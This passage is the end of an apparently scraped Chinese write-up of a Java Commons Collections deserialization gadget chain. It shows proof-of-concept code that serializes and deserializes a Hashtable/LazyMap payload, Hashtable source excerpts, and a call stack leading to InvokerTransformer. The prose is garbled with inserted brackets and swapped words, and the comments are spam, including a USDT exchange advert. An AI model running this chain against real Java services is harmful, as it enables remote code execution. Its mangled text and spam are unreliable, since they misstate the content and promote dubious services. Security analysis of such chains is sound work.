        //上面<的> hashtable.put 会使得 lazyMap2 增添一个 yy=>yy,以是这里要移除
        lazyMap2.remove("yy");

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashtable);
        oos.flush();
        oos.close();

        //《「测试」》反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

}

Hashtable 类<的> 要[害代码如下:

//Hashtable <的> readObject ({「(『方』式)」})
private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
       ………………
        for (; elements > 0; elements--) {
            K key = (K)s.readObject();
            V value = (V)s.readObject();

            //reconstitutionPut({「(『方』式)」})
            reconstitutionPut(newTable, key, value);
        }
        this.table = newTable;
    }


//跟进 reconstitutionPut ({「(『方』式)」})
    private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }

        int hash = hash(key);
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {

            //注重这里<的> equals ({「(『方』式)」})
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        Entry<K,V> e = tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }

跟进上面<的> equals ({「(『方』式)」}),发现最终挪<用了> AbstractMap 类<的> equals ({「(『方』式)」}),如下:

就是在这里触发了 LazyMap.get()。

大要挪用栈:

//这里是 jdk 1.7 <的>,「差异版本」 HashMap readObject 可能略有差异
  ->Hashtable.readObject()
      ->Hashtable.reconstitutionPut()
            ->AbstractMapDecorator.equals
                ->AbstractMap.equals()
                  ->LazyMap.get.get()
                    ->ChainedTransformer.transform()
                      ->ConstantTransformer.transform()
                        ->InvokerTransformer.transform()
                          ->…………

若有不正,还请师傅指出。

九、参考文章

https://www.freebuf.com/articles/web/214096.html
https://www.cnblogs.com/nice0e3/p/13910833.html

网友评论

5条评论
  • 2021-04-27 00:00:51

    USDT场外交易平台U担保(www.Uotc.vip)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U担保开放usdt otc API接口、支付回调等接口。感觉很OK,继续看

    • 2021-07-19 14:56:00

      @皇冠官网平台   在蛛样送检当天,蜘蛛卵囊孵化出数百只小蜘蛛,这种蜘蛛的毒液中有很强的神经毒素,一旦传入并定殖,将对生态环境和人民康健平安造成伟大影响。现在,后续检疫除害处置已所有完成。人有多少啊

  • 2021-07-22 00:00:47

    清朝人说:人说黄泉路,若到了宁古塔,便有十个黄泉路也不怕了!文笔太好了吧。

  • 2021-07-23 00:00:39

    部门消费税税率应该凭证经济社会生长现真相形,举行响应调整。还可以吧,挺用心